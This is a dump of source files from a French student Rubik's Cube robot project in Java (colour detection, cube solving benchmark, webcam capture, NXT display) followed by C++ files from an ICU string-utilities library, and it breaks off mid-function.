int y = 0;
int width = 0;
int height = 0;
for (int i = 0; i < 8; i++) {
x += elements.get(i).getX();
y += elements.get(i).getY();
width += elements.get(i).getWidth();
height += elements.get(i).getHeight();
}
x /= 8;
y /= 8;
width /= 8;
height /= 8;
elements.add(4, new Rectangle2D.Float(x, y, width, height));
}
private static void sort(ArrayList<Rectangle2D> elements) {
boolean changed = true;
while (changed) {
changed = false;
for (int i = 0; i < 2; i++) {
if (elements.get(i).getX() > elements.get(i + 1).getX()) {
elements.add(i, elements.remove(i + 1));
changed = true;
}
if (elements.get(i + 3).getX() > elements.get(i + 4).getX()) {
elements.add(i + 3, elements.remove(i + 4));
changed = true;
}
if (elements.get(i + 6).getX() > elements.get(i + 7).getX()) {
elements.add(i + 6, elements.remove(i + 7));
changed = true;
}
}
}
}
private static Couleur computeColor(int R, int G, int B) {
if (R > 212 && R < 257 && G > 209 && G < 257 && B > 92 && B < 125) {
return Couleur.JAUNE;
}
if (R > 191 && R < 257 && G > 131 && G < 204 && B > 119 && B < 169) {
return Couleur.ORANGE;
}
if (R > 195 && R < 257 && G > 106 && G < 160 && B > 160 && B < 206) {
return Couleur.ROUGE;
}
if (R > 108 && R < 166 && G > 187 && G < 257 && B > 134 && B < 171) {
return Couleur.VERT;
}
if (R > 57 && R < 95 && G > 113 && G < 156 && B > 232 && B < 257) {
return Couleur.BLEU;
}
if (R > 171 && R < 257 && G > 171 && G < 257 && B > 171 && B < 257) {
return Couleur.BLANC;
}
return Couleur.BLANC;
}
}
<file_sep>import cube.*;
import cube.emetteur.*;
import cube.resolution.*;
import java.util.Scanner;
import glcube.*;
import vision.*;
import acquisition.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.io.*;
public class ClassmainTest{
public static Algorithme easy(String stringalgo)throws Throwable
{
FausseDetection fake;
Algorithme algo= new Algorithme(stringalgo);
fake = new FausseDetection(algo);
Cube leCube = fake.detecter(null,null,null,null,null,null);
Cube test = Cube.creerCube(leCube.toFace());
/* Résolution */
ResolutionDuCube er2 = new EasyResolution(test);
Algorithme Soluce2 = new Algorithme();
Soluce2 = er2.trouverSolution();
return Soluce2;
}
public static Algorithme medium(String stringalgo)throws Throwable
{
FausseDetection fake;
Algorithme algo= new Algorithme(stringalgo);
fake = new FausseDetection(algo);
Cube leCube = fake.detecter(null,null,null,null,null,null);
Cube test = Cube.creerCube(leCube.toFace());
/* Résolution */
Algorithme Soluce = new Algorithme();
//EasyResolution er = new EasyResolution(leCube);
ResolutionDuCube er = new MediumResolution(leCube);
Soluce = er.trouverSolution();
return Soluce;
}
public static void main(String[] args)throws Throwable
{
/* for(String i:args)
{
System.out.println(i+" : "+benchmark(i));
}
*/
String chaine="";
String fichier ="test";
Algorithme easy,medium;
int nb=0;
int moy=0;
int moyEasy=0;
int moyMedium=0;
/*InputStream ips=new FileInputStream(fichier);
InputStreamReader ipsr=new InputStreamReader(ips);
BufferedReader br=new BufferedReader(ipsr);*/
FileReader f=new FileReader(fichier);
BufferedReader br=new BufferedReader(f);
String ligne;
while ((ligne=br.readLine())!=null){
//System.out.println(ligne+" : "+benchmark(ligne));
//System.out.println(benchmark(ligne));
chaine+=ligne+"\n";
nb++;
easy=easy(ligne);
medium=medium(ligne);
moy+=medium.taille()-easy.taille();
moyEasy+=easy.taille();
moyMedium+=medium.taille();
}
if(nb!=0)
{
float m=((float)moy)/((float)nb);
float me=((float)moyEasy)/((float)nb);
float mm=((float)moyMedium)/((float)nb);
System.out.println("moyenne : "+m+"/"+me+" avec en moyenne "+mm+" sur "+nb+" mélanges");
//System.out.println(moy+" "+moyEasy+" "+moyMedium+" "+nb);
}
br.close();
}
}
<file_sep>#!/bin/bash
export CLASSPATH=$CLASSPATH:$(pwd)/lib/jai-1_1_3/lib/jai_codec.jar
export CLASSPATH=$CLASSPATH:$(pwd)/lib/jai-1_1_3/lib/jai_core.jar
export CLASSPATH=$CLASSPATH:$(pwd)/lib/jai-1_1_3/lib/mlibwrapper_jai.jar
export CLASSPATH=$CLASSPATH:$(pwd)/lib/JMF-2.1.1e/lib/mediaplayer.jar
export CLASSPATH=$CLASSPATH:$(pwd)/lib/JMF-2.1.1e/lib/jmf.jar
export CLASSPATH=$CLASSPATH:$(pwd)/lib/JMF-2.1.1e/lib/multiplayer.jar
export CLASSPATH=$CLASSPATH:./classes
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$(pwd)/lib/jai-1_1_3/lib/:$(pwd)/lib/JMF-2.1.1e/lib
java -classpath $CLASSPATH:./classes acquisition.ScanRubicsCube
<file_sep>/**
*classe qui gère les mouvements du robot
*@author Groupe ECAO Rubik's Cube : <NAME> Mathieu_Chataigner <NAME>.
*/
package acquisition;
import cube.*;
import cube.resolution.*;
import vision.*;
import java.util.Scanner;
public class FausseDetection implements Detection
{
private Algorithme algoDeMelange;
private Cube leCube;
/* DEPRECATED
public FausseDetection()
{
System.out.println("Saisissez votre algorithme de mélange, chaque mouvement étant séparé par un espace: ");
Scanner sca = new Scanner(System.in);
String algoSaisi = sca.nextLine();
this.algoDeMelange=new Algorithme(algoSaisi);
}
*/
/**
* Constructeur qui initialise les mouvements qui vont permettre le mélange du cube
*@param algorithmeDeMelange algorithme contenant les mouvements pour le melange
*/
public FausseDetection(Algorithme algorithmeDeMelange)
{
this.algoDeMelange=algorithmeDeMelange.copier();
}
/**
* Effectue l'algorithme de mélange sur le cube
*@param faceU face supérieur
*@param faceD face inférieur
*@param faceR face de droite
*@param faceL face de gauche
*@param faceF face en face
*@param faceB face de derrière
*@return Cube
*/
public Cube detecter()throws CubeException
{
Cube leCube = new Cube();
algoDeMelange.executerSurCube(leCube);
return leCube;
}
}
<file_sep>package cube;
import org.xml.sax.*;
import org.xml.sax.helpers.LocatorImpl;
import java.util.HashMap;
public class ParserAlgorithme implements ContentHandler
{
private Locator locator;
private boolean test=true;
private String type="";
private String name="";
private String contour="";
private String forme="";
private Integer id;
private String algo="";
private HashMap listeAlgoOll=new HashMap();
private HashMap listeAlgoPll=new HashMap();
private HashMap listeAlgoOllForme=new HashMap();
private HashMap listeAlgoPllContour=new HashMap();
public ParserAlgorithme()
{
super();
locator=new LocatorImpl();
}
public void setDocumentLocator(Locator l)
{
locator=l;
}
public void startDocument() throws SAXException
{
//System.err.println("début!!");
}
public HashMap getListeOll()
{
return listeAlgoOll;
}
public HashMap getListePll()
{
return listeAlgoPll;
}
public HashMap getListeOllForme()
{
return listeAlgoOllForme;
}
public HashMap getListePllContour()
{
return listeAlgoPllContour;
}
public void endDocument() throws SAXException
{
//System.err.println("fin!!");
}
public void startPrefixMapping(String prefix,String URI) throws SAXException
{
//System.err.println("Traitement de l'espace de nommage : " + URI + ", prefixe choisi : " + prefix);
}
public void endPrefixMapping(String prefix) throws SAXException {
//System.err.println("Fin de traitement de l'espace de nommage : " + prefix);
}
public void startElement(String nameSpaceURI, String localName, String rawName, Attributes attributs) throws SAXException {
//if(localName.equals("liste-oll"))
//test=false;
if(localName.equals("oll")||localName.equals("pll"))
type=localName;
else if(!type.equals("oll")&&!type.equals("pll"))
type="";
if(test)
{
//System.err.println("<" + localName+">");
if ( ! "".equals(nameSpaceURI)) { // espace de nommage particulier
//System.err.println(" appartenant a l'espace de nom : " + nameSpaceURI);
}
//System.err.println(" Attributs de la balise : ");
for (int index = 0; index < attributs.getLength(); index++) { // on parcourt la liste des attributs
if((type.equals("oll")||type.equals("pll"))&&attributs.getLocalName(index).equals("index"))
id=new Integer(attributs.getValue(index));
if(type.equals("oll")&&attributs.getLocalName(index).equals("forme"))
forme=attributs.getValue(index).trim();
if(type.equals("pll")&&attributs.getLocalName(index).equals("contour"))
contour=attributs.getValue(index).trim();
//System.err.println(" - " + attributs.getLocalName(index) + " = " + attributs.getValue(index));
}
}
}
public void endElement(String nameSpaceURI, String localName, String rawName) throws SAXException {
//if(test)
//System.err.print("</" + localName+">");
if(type.equals("oll")||type.equals("pll"))
{
id=null;
type="";
contour="";
forme="";
}
if ( ! "".equals(nameSpaceURI)) { // name space non null
//System.err.print("appartenant a l'espace de nommage : " + localName);
}
if(localName.equals("liste-oll"))
test=true;
}
public void characters(char[] ch, int start, int end) throws SAXException {
//if(test)
//System.err.println("algo : #PCDATA : " + new String(ch, start, end));
//if(type.equals("oll")||type.equals("pll"))
//System.err.println(type);
if(type.equals("oll"))
{
listeAlgoOll.put(id,new String(ch,start,end));
if(forme!="")
listeAlgoOllForme.put(forme,new String(ch,start,end));
}
if(type.equals("pll"))
{
listeAlgoPll.put(id,new String(ch,start,end));
if(contour!="")
listeAlgoPllContour.put(contour,new String(ch,start,end));
}
}
public void ignorableWhitespace(char[] ch, int start, int end) throws SAXException {
//System.err.println("espaces inutiles rencontres : ..." + new String(ch, start, end) + "...");
}
public void processingInstruction(String target, String data) throws SAXException {
//System.err.println("Instruction de fonctionnement : " + target);
//System.err.println(" dont les arguments sont : " + data);
}
public void skippedEntity(String arg0) throws SAXException {
// Je ne fais rien, ce qui se passe n'est pas franchement normal.
// Pour eviter cet evenement, le mieux est quand meme de specifier une dtd pour vos
// documents xml et de les faire valider par votre parser.
}
}<file_sep>/**
* @author <NAME>
*/
package acquisition;
import java.awt.BorderLayout;
import java.awt.Component;
import java.awt.Dimension;
import java.awt.Frame;
import java.awt.Graphics;
import java.awt.Graphics2D;
import java.awt.Image;
import java.awt.Panel;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;
import javax.media.Buffer;
import javax.media.CaptureDeviceInfo;
import javax.media.CaptureDeviceManager;
import javax.media.Manager;
import javax.media.MediaLocator;
import javax.media.Player;
import javax.media.control.FrameGrabbingControl;
import javax.media.format.VideoFormat;
import javax.media.util.BufferToImage;
import javax.swing.JButton;
import javax.swing.JComponent;
import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGEncodeParam;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
public class ScanRubicsCube extends Panel implements ActionListener {
public static Player player = null;
public CaptureDeviceInfo webcamInfo = null;
public MediaLocator mediaLocator = null;
public JButton capture = null;
public Buffer buf = null;
public Image img = null;
public VideoFormat vf = null;
public BufferToImage btoi = null;
public ImagePanel imgpanel = null;
public ScanRubicsCube() {
setLayout(new BorderLayout());
setSize(320,550);
imgpanel = new ImagePanel();
capture = new JButton("Capture");
capture.addActionListener(this);
String quickcamName="v4l:Logitech QuickCam Pro 4000:0";
webcamInfo = CaptureDeviceManager.getDevice(quickcamName);
// mediaLocator = new MediaLocator("vfw://0");
mediaLocator = new MediaLocator("v4l://0");
try {
player = Manager.createRealizedPlayer(mediaLocator);
player.start();
Component comp;
if ((comp = player.getVisualComponent()) != null) {
add(comp,BorderLayout.NORTH);
}
add(capture,BorderLayout.CENTER);
add(imgpanel,BorderLayout.SOUTH);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Frame f = new Frame("SwingCapture");
ScanRubicsCube cf = new ScanRubicsCube();
f.addWindowListener(new WindowAdapter() {
public void windowClosing(WindowEvent e) {
playerclose();
System.exit(0);}});
f.add("Center",cf);
f.pack();
f.setSize(new Dimension(320,550));
f.setVisible(true);
}
public static void playerclose() {
player.close();
player.deallocate();
}
public void actionPerformed(ActionEvent e) {
JComponent c = (JComponent) e.getSource();
if (c == capture)
{
// Grab a frame
FrameGrabbingControl fgc = (FrameGrabbingControl)
player.getControl("javax.media.control.FrameGrabbingControl");
buf = fgc.grabFrame();
// Convert it to an image
btoi = new BufferToImage((VideoFormat)buf.getFormat());
img = btoi.createImage(buf);
// show the image
imgpanel.setImage(img);
// save image
saveJPG(img,"test.jpg");
}
}
class ImagePanel extends Panel {
public Image myimg = null;
public ImagePanel()
{
setLayout(null);
setSize(320,240);
}
public void setImage(Image img)
{
this.myimg = img;
repaint();
}
public void paint(Graphics g)
{
if (myimg != null)
{
g.drawImage(myimg, 0, 0, this);
}
}
}
public static void saveJPG(Image img, String s) {
BufferedImage bi = new BufferedImage(img.getWidth(null), img.getHeight(null), BufferedImage.TYPE_INT_RGB);
Graphics2D g2 = bi.createGraphics();
g2.drawImage(img, null, null);
FileOutputStream out = null;
try {
out = new FileOutputStream(s);
} catch (java.io.FileNotFoundException io) {
System.out.println("File Not Found");
}
JPEGImageEncoder encoder = JPEGCodec.createJPEGEncoder(out);
JPEGEncodeParam param = encoder.getDefaultJPEGEncodeParam(bi);
param.setQuality(0.5f,false);
encoder.setJPEGEncodeParam(param);
try {
encoder.encode(bi);
out.close();
} catch (java.io.IOException io) {
System.out.println("IOException");
}
}
}
<file_sep>/**
* Interface qui determine si une classe est une resolution du Rubiks cube.
*
* @author Groupe ECAO Rubik's Cube: <NAME> <NAME>.
*/
package cube.resolution;
import cube.*;
public interface ResolutionDuCube
{
/**
* Retourne la solution qui résout le Cube sous forme d'Algorithme
*@return L'Algorithme contenant la solution
*/
public Algorithme trouverSolution() throws CubeException,ResolutionException;
}
<file_sep> /**
* classe gérant l'affichage de l'ecran NXT du robot
* @author Groupe ECAO Rubik's Cube : <NAME> Mathieu_Chataigner <NAME>
*/
package cube.robot;
import lejos.nxt.LCD;
public class EcranNXT extends Thread
{
private RobotRubik alphonse;
private boolean attenteUSB;
private boolean quitter=false;
private String [] mvts={"Q","A ","B","C"};
private String [] indices={""," ","2","'"};
/**
* Initialise l'ecran NXT
*@param _alphonse le nom du robot
*/
public EcranNXT(RobotRubik _alphonse)
{
alphonse=_alphonse;
attenteUSB=true;
}
/**
* Message titre
*/
private void drawTitle()
{
LCD.drawString("#################", 0, 0);
LCD.drawString("## Robot Cube ###", 0, 1);
LCD.drawString("#################", 0, 2);
}
/**
* Message d'attente
*/
private void drawAttente()
{
LCD.drawString("Attente de l'USB", 0, 4);
}
/**
* Message du mouvement
*@param rotation
*@param indice
*/
private void drawMvt(int rotation,int indice){
LCD.drawString(mvts[rotation],0,4);
if(rotation==2||rotation==3)
LCD.drawString(indices[indice],1,4);
}
/**
* Message pour valider la connection USB
*/
public void USBOK()
{
attenteUSB=false;
}
/**
* Message affichant le mouvement
* mvt nom du mouvement
* indice
*/
public void ecrireMvt(char mvt,int indice){
char[] mvts={mvt};
LCD.drawString(new String(mvts),0,5);
LCD.drawString((new Integer(indice)).toString(),1,5);
}
/**
* Message en fonctionnement
*/
public void run(){
drawTitle();
while(attenteUSB)
{
drawAttente();
}
LCD.drawString(" ", 0, 4);
}
}
| 41bdb26c42f91b3d61c37ae104b20632e08efb71 | [
"Java",
"Makefile",
"Shell"
] | 27 | Shell | mchataigner/ecaocube | dba0a8ac215a4e3b1ad992be70634c4a231f792d | d27955927831300816d1ba30719ac48ea8d2532e |
refs/heads/master | <file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: ustring_utils.hpp
* Author: alex
*
* Created on September 2, 2015, 8:58 AM
*/
#ifndef STATICLIB_ICU_USTRING_UTILS_HPP
#define STATICLIB_ICU_USTRING_UTILS_HPP
#include <string>
#include <vector>
#include "unicode/unistr.h"
#include "staticlib/config.hpp"
#include "staticlib/icu_utils/IcuUtilsException.hpp"
namespace staticlib {
namespace icu_utils {
/**
* ICU staring hasher for STL containers
*/
class UStringHasher {
public:
/**
* Function call operator
*
* @param value ICU string to hash
* @return hash value
*/
size_t operator()(icu::UnicodeString value) const;
};
/**
* Converts specified ICU string to UTF-8 "std::string"
*
* @param str string to convert to UTF-8
*/
std::string to_utf8(const icu::UnicodeString& str);
/**
* Converts specified to UTF-8 "std::string" into ICU string
*
* @param str string to convert from UTF-8
*/
icu::UnicodeString from_utf8(const std::string& str);
/**
* Returns new string containing specified path but without
* the filename (last non-ending-with-slash element of the path)
*
* @param file_path file path
* @return parent directory path
*/
icu::UnicodeString strip_filename(const icu::UnicodeString& file_path);
/**
* Formats string using specified pattern with "{param_name}" parameters
* and a specified list of named arguments
*
* @param pattern format pattern
* @param args list of named arguments
* @return formatted string
*/
icu::UnicodeString format(const icu::UnicodeString& pattern,
const std::vector<std::pair<icu::UnicodeString, icu::UnicodeString>>& args);
/**
* Comparison operator for comparing ICU strings with string literals;
* note, this operation creates new temporary "UnicodeString" from specified literal
*
* @param bytes string literal
* @param str ICU string
* @return true if strings equal
*/
bool operator==(const char* bytes, const icu::UnicodeString& str);
/**
* Stringifies specified object and then converts results to
* ICU string using UTF-8 encoding
*
*
* @param t value to stringify
* @return string representation of specified value
*/
template<typename T>
icu::UnicodeString to_ustring(T t) {
try {
std::string st = staticlib::config::to_string(t);
return from_utf8(st);
} catch (const std::exception& e) {
std::string tname{typeid (t).name()};
throw IcuUtilsException(TRACEMSG(std::string(e.what()) +
"\nError UTF-8 stringifying object, type: [" + tname + "]"));
}
}
} // namespace
}
// exporting operator
using staticlib::icu_utils::operator==;
#endif /* STATICLIB_ICU_USTRING_UTILS_HPP */
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: uarray_source.cpp
* Author: alex
*
* Created on November 19, 2015, 12:57 PM
*/
#include "staticlib/icu_utils/uarray_source.hpp"
#include "unicode/errorcode.h"
#include "staticlib/config.hpp"
#include "staticlib/icu_utils/ustr_ptr.hpp"
namespace staticlib {
namespace icu_utils {
uarray_source::uarray_source(const UChar* arr, int32_t length, const std::string& encoding) :
arr(arr),
arrlen(length),
idx(0),
conv(make_uconv(encoding)) { }
uarray_source::uarray_source(const icu::UnicodeString& str, const std::string& encoding) :
arr(str.getBuffer()),
arrlen(str.length()),
idx(0),
conv(make_uconv(encoding)) { }
uarray_source::uarray_source(uarray_source&& other) :
arr(other.arr),
arrlen(other.arrlen),
idx(other.idx),
conv(std::move(other.conv)) {
other.idx = 0;
other.arrlen = 0;
}
uarray_source& uarray_source::operator=(uarray_source&& other) {
arr = other.arr;
arrlen = other.arrlen;
other.arrlen = 0;
idx = other.idx;
other.idx = 0;
conv = std::move(other.conv);
return *this;
}
std::streamsize uarray_source::read(char* buf, std::streamsize length) {
if (idx >= arrlen) return std::char_traits<char>::eof();
const UChar* src = arr + idx;
const UChar* src_orig = src;
char* dest_orig = buf;
icu::ErrorCode ec{};
ucnv_fromUnicode(conv.get(), std::addressof(buf), buf + length, std::addressof(src),
src + (arrlen - idx), nullptr, false, ec);
if (!(ec.isSuccess() || U_BUFFER_OVERFLOW_ERROR == ec.get())) throw IcuUtilsException(TRACEMSG(std::string() +
"Conversion error: [" + ec.errorName() + "]"));
ptrdiff_t src_read = src - src_orig;
ptrdiff_t dest_written = buf - dest_orig;
idx += static_cast<int32_t>(src_read);
return static_cast<std::streamsize> (dest_written);
}
} // namespace
}
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: UConverterDeleter.hpp
* Author: alex
*
* Created on November 19, 2015, 12:58 PM
*/
#ifndef STATICLIB_ICU_UCONVERTERDELETER_HPP
#define STATICLIB_ICU_UCONVERTERDELETER_HPP
#include <memory>
#include "unicode/ucnv.h"
#include "staticlib/icu_utils/IcuUtilsException.hpp"
namespace staticlib {
namespace icu_utils {
/**
* Smart-pointer deleter for `UConverter`
*
*/
class UConverterDeleter {
public:
/**
* Delete operator
*
* @param conv converter
*/
void operator()(UConverter* conv) {
ucnv_close(conv);
}
};
/**
* Creates smart pointer to converter using specified encoding
*
* @param encoding encoding to use
* @return smart pointer to converter
*/
std::unique_ptr<UConverter, UConverterDeleter> make_uconv(const std::string& encoding);
} // namespace
}
#endif /* STATICLIB_ICU_UCONVERTERDELETER_HPP */
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: UConverterDeleter.cpp
* Author: alex
*
* Created on November 19, 2015, 1:21 PM
*/
#include "staticlib/icu_utils/UConverterDeleter.hpp"
#include "unicode/errorcode.h"
#include "staticlib/config.hpp"
namespace staticlib {
namespace icu_utils {
std::unique_ptr<UConverter, UConverterDeleter> make_uconv(const std::string& encoding) {
icu::ErrorCode ec{};
UConverter* conv_ptr = ucnv_open(encoding.c_str(), ec);
if (!ec.isSuccess()) throw IcuUtilsException(TRACEMSG(std::string() +
"Error creating converter for encoding: [" + encoding + "],"
" error: [" + ec.errorName() + "]"));
return std::unique_ptr<UConverter, UConverterDeleter>{conv_ptr, UConverterDeleter{}};
}
} // namespace
}
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: uarray_source_test.cpp
* Author: alex
*
* Created on November 19, 2015, 12:49 PM
*/
#include "staticlib/icu_utils/uarray_source.hpp"
#include <array>
#include <iostream>
#include <cstring>
#include "unicode/uclean.h"
#include "staticlib/config/assert.hpp"
#include "staticlib/icu_utils/ustring_utils.hpp"
namespace iu = staticlib::icu_utils;
void test_read() {
std::string hello{"\xd0\xbf\xd1\x80\xd0\xb8\xd0\xb2\xd0\xb5\xd1\x82"};
const icu::UnicodeString st = iu::from_utf8(hello);
iu::uarray_source src{st};
std::array<char, 32> buf;
std::memset(buf.data(), '\0', buf.size());
std::streamsize read1 = src.read(buf.data(), 1);
slassert(1 == read1);
slassert('\xd0' == buf[0]);
std::streamsize read2 = src.read(buf.data(), 2);
slassert(2 == read2);
slassert('\xbf' == buf[0]);
slassert('\xd1' == buf[1]);
std::streamsize read3 = src.read(buf.data(), 16);
slassert(9 == read3);
slassert((hello.substr(3) == std::string{buf.data(), 9}));
std::streamsize read4 = src.read(buf.data(), 16);
slassert(std::char_traits<char>::eof() == read4);
}
int main() {
try {
test_read();
u_cleanup();
} catch (const std::exception& e) {
std::cout << e.what() << std::endl;
return 1;
}
return 0;
}
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: uobj_ptr.hpp
* Author: alex
*
* Created on August 31, 2015, 8:35 PM
*/
#ifndef STATICLIB_ICU_UOBJ_PTR_HPP
#define STATICLIB_ICU_UOBJ_PTR_HPP
#include <exception>
#include <typeinfo>
#include "unicode/errorcode.h"
#include "staticlib/config.hpp"
#include "staticlib/icu_utils/IcuErrorException.hpp"
namespace staticlib {
namespace icu_utils {
namespace uobj_detail {
/**
* Proxy class that implements "postfix" error code check.
* Based on this paper - http://www.stroustrup.com/wrapper.pdf .
* This class is an implementation detail and should not be used by client code.
*/
template <typename T>
class call_proxy {
/**
* Wrapped ICU object reference
*/
T& delegate;
/**
* Reference to error code that is held by parent "uobj_ptr"
*/
icu::ErrorCode& ec;
public:
/**
* Deleted copy-constructor
*/
call_proxy(const call_proxy&) = delete;
/**
* Deleted copy assignment operator
*/
call_proxy& operator=(const call_proxy&) = delete;
/**
* Deleted move assignment operator
*/
call_proxy& operator=(call_proxy&&) = delete;
/**
* Move constructor
*
* @param other other proxy instance
*/
call_proxy(call_proxy&& other) :
delegate(other.delegate),
ec(other.ec) { }
/**
* Constructor
*
* @param delegate wrapped ICU object reference
* @param ec reference to error code that is held by parent "uobj_ptr"
*/
call_proxy(T& delegate, icu::ErrorCode& ec) :
delegate(delegate),
ec(ec) { }
/**
* Destructor, will check error code (set by last ICU method call through "uobj_ptr")
* and if error code indicates error (and if currently no stack unwinding in progress)
* will throw "IcuErrorException".
*/
~call_proxy() STATICLIB_NOEXCEPT_FALSE {
// be careful: http://www.gotw.ca/gotw/047.htm
if (ec.isFailure() && !std::uncaught_exception()) {
throw IcuErrorException(TRACEMSG(std::string() +
"Performed operation on object of type: [" + typeid(T).name() + "]" +
" returned error: [" + ec.errorName() + "]"));
}
}
/**
* Operator implements proxy logic
*
* @return pointer to ICU object
*/
T* operator->() {
return &delegate;
}
};
} // namespace
/**
* Smart pointer, wraps any ICU object, which methods support "icu::ErrorCode" parameter for error reporting.
* This smart pointer holds an instance of "icu::ErrorCode" and checks this instance before and after each
* method called through this smart pointer. If error code indicates a failure - "IcuErrorException" is thrown.
*/
template <typename T>
class uobj_ptr {
/**
* Wrapped ICU object reference
*/
T& delegate;
/**
* ICU error code, should be used passed by client to ICU method calls
*/
icu::ErrorCode ec;
public:
/**
* Deleted copy-constructor
*/
uobj_ptr(const uobj_ptr&) = delete;
/**
* Deleted copy assignment operator
*/
uobj_ptr& operator=(const uobj_ptr&) = delete;
/**
* Deleted move assignment operator
*/
uobj_ptr& operator=(uobj_ptr&&) = delete;
/**
* Move constructor
*
* @param other other proxy instance
*/
uobj_ptr(uobj_ptr&& other) :
delegate(other.delegate),
ec(other.ec) {
if (ec.isFailure()) {
throw IcuErrorException(TRACEMSG(std::string() + "Previous operation returned error: [" + ec.errorName() + "]"));
}
}
/**
* Constructor, wraps specified reference to ICU object,
* uses "U_ZERO_ERROR" for error code
*
* @param delegate reference to ICU object
*/
uobj_ptr(T& delegate) :
delegate(delegate) { }
/**
* Constructor, wraps specified reference to ICU object
*
* @param delegate reference to ICU object
* @param ec error code, possibly previously passed to ICU object consructor
*/
uobj_ptr(T& delegate, icu::ErrorCode ec) :
delegate(delegate),
ec(ec) {
if (ec.isFailure()) {
throw IcuErrorException(TRACEMSG(std::string() + "Previous operation returned error: [" + ec.errorName() + "]"));
}
}
/**
* Error code accessor
*
* @return reference to error code
*/
icu::ErrorCode& code() {
return ec;
}
/**
* ICU object accessor
*
* @return reference to wrapped ICU object
*/
T& get() {
return delegate;
}
/**
* Operator implements proxy logic checking error code and then returning "call_proxy" instance
*
* @return instance of "call_proxy" object containing references to wrapped ICU object and error code
*/
uobj_detail::call_proxy<T> operator->() {
if (ec.isFailure()) {
throw IcuErrorException(TRACEMSG(std::string() + "Previous operation returned error: [" + ec.errorName() + "]"));
}
return uobj_detail::call_proxy<T>(delegate, ec);
}
};
/**
* Factory function to enable object type inference
*
* @param obj ICU object to wrap into smart pointer
* @param ec error code, possibly previously passed to ICU object consructor
* @return "uobj_ptr" instance wrapping specified ICU object
*/
template<typename T>
uobj_ptr<T> make_uobj(T& obj, icu::ErrorCode ec = icu::ErrorCode{}) {
return uobj_ptr<T>(obj, ec);
}
} // namespace
}
#endif /* STATICLIB_ICU_UOBJ_PTR_HPP */
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: ustring_sink.cpp
* Author: alex
*
* Created on November 19, 2015, 1:27 PM
*/
#include "staticlib/icu_utils/ustring_sink.hpp"
#include "unicode/errorcode.h"
#include "staticlib/config.hpp"
#include "staticlib/icu_utils/ustr_ptr.hpp"
namespace staticlib {
namespace icu_utils {
ustring_sink::ustring_sink(size_t buf_size, const std::string& encoding) :
conv(make_uconv(encoding)),
buf(buf_size) { }
ustring_sink::ustring_sink(icu::UnicodeString&& str, size_t buf_size, const std::string& encoding) :
str(std::move(str)),
conv(make_uconv(encoding)),
buf(buf_size) { }
ustring_sink::ustring_sink(ustring_sink&& other) :
str(std::move(other.str)),
conv(std::move(other.conv)),
buf(std::move(other.buf)) { }
ustring_sink& ustring_sink::operator=(ustring_sink&& other) {
str = std::move(other.str);
conv = std::move(other.conv);
buf = std::move(other.buf);
return *this;
}
std::streamsize ustring_sink::write(const char* b, std::streamsize length) {
ustr_ptr storage{str};
std::streamsize read = 0;
while (length > read) {
const char* src = b + read;
const char* src_orig = src;
UChar* dest = buf.data();
UChar* dest_orig = dest;
